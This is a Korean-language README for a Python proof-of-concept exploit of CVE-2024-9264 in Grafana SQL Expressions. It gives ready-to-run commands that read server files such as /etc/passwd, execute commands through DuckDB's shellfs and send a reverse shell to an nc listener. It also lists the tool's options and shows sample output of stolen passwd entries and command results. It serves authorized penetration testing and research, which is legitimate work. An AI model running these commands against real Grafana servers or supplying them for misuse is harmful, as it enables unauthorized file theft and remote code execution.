
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
CVE-2024-9264에 대한 Python 개념 증명(PoC)입니다. 이는 Grafana SQL Expressions 취약점으로, Grafana 프로세스 PATH에 duckdb가 존재할 때 인증된 로컬 파일 포함(LFI) 및 명령 실행을 허용할 수 있습니다.
승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오.
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
read_blob()로 파일을 읽습니다. 명령 실행이 요청된 경우 기본 검증 파일로 /etc/passwd가 먼저 사용됩니다.shellfs를 로드하고 파이프 기반 read_csv() 호출을 통해 명령을 실행합니다./tmp/cve_2024_9264_out에서 명령 출력을 읽고 디코딩된 결과를 출력합니다.취약한 엔드포인트는 API를 통해 직접 호출할 수 있습니다. 대시보드 UI 상호작용은 필요하지 않습니다. 그러나 인증은 여전히 필요합니다.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
--file을 단독으로 사용하면 스크립트는 해당 파일을 직접 읽고 파일 읽기 결과 섹션에 디코딩된 내용을 출력합니다.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
스크립트는 먼저 기본 /etc/passwd 파일 읽기 검증을 수행한 다음 명령 페이로드를 전달합니다. 결과 섹션에서는 원시 Grafana JSON 응답 대신 디코딩된 명령 출력을 출력합니다.
리스너 시작:
rlwrap nc -lvnp 4444
리버스 셸 페이로드 전송:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
다음 옵션은 현재 스크립트 CLI 기준입니다:
-u, --url, --target TARGET
대상 URL, 예: http://localhost:3000
--username USERNAME Grafana 사용자 이름. 기본값: admin
--password PASSWORD Grafana 비밀번호. 기본값: admin
--file FILE 읽을 파일 경로. 기본 검증 경로: /etc/passwd
--expected-marker MARKER
파일 읽기 응답에서 기대하는 마커. 기본값: root:
--cmd CMD DuckDB shellfs 경로를 통해 실행할 명령
--reverse-shell bash 리버스 셸 페이로드 실행
--lhost LHOST --reverse-shell용 리스너 호스트
--lport LPORT --reverse-shell용 리스너 포트
--timeout TIMEOUT HTTP 타임아웃(초). 기본값: 20
--verify-tls TLS 인증서 검증. 기본값: 활성화
-k, --insecure TLS 인증서 검증 비활성화
--dry-run 요청을 보내지 않고 대상 및 페이로드 메타데이터 출력
--debug 요청 디버깅 메타데이터 출력
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| 제품 | 영향을 받는 버전 | 필요한 접근 권한 | 영향 |
|---|---|---|---|
| Grafana OSS / Enterprise | 패치 보안 릴리스 이전의 Grafana 11.0.x, 11.1.x 및 11.2.x | Viewer 이상 | Grafana PATH에 DuckDB가 존재할 때 로컬 파일 포함 및 명령 삽입 |
Grafana는 악용에 Grafana 프로세스 PATH에 duckdb 바이너리가 존재해야 하며, 일반 Grafana 배포판에는 DuckDB가 기본적으로 설치되지 않는다고 밝히고 있습니다.
shellfs 확장 동작에 따라 달라집니다.-k 또는 --insecure를 전달하십시오.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 및 11.2.2+security-01이 포함됩니다.ozcanpng - github.com/ozcanpng - ozcanpng.dev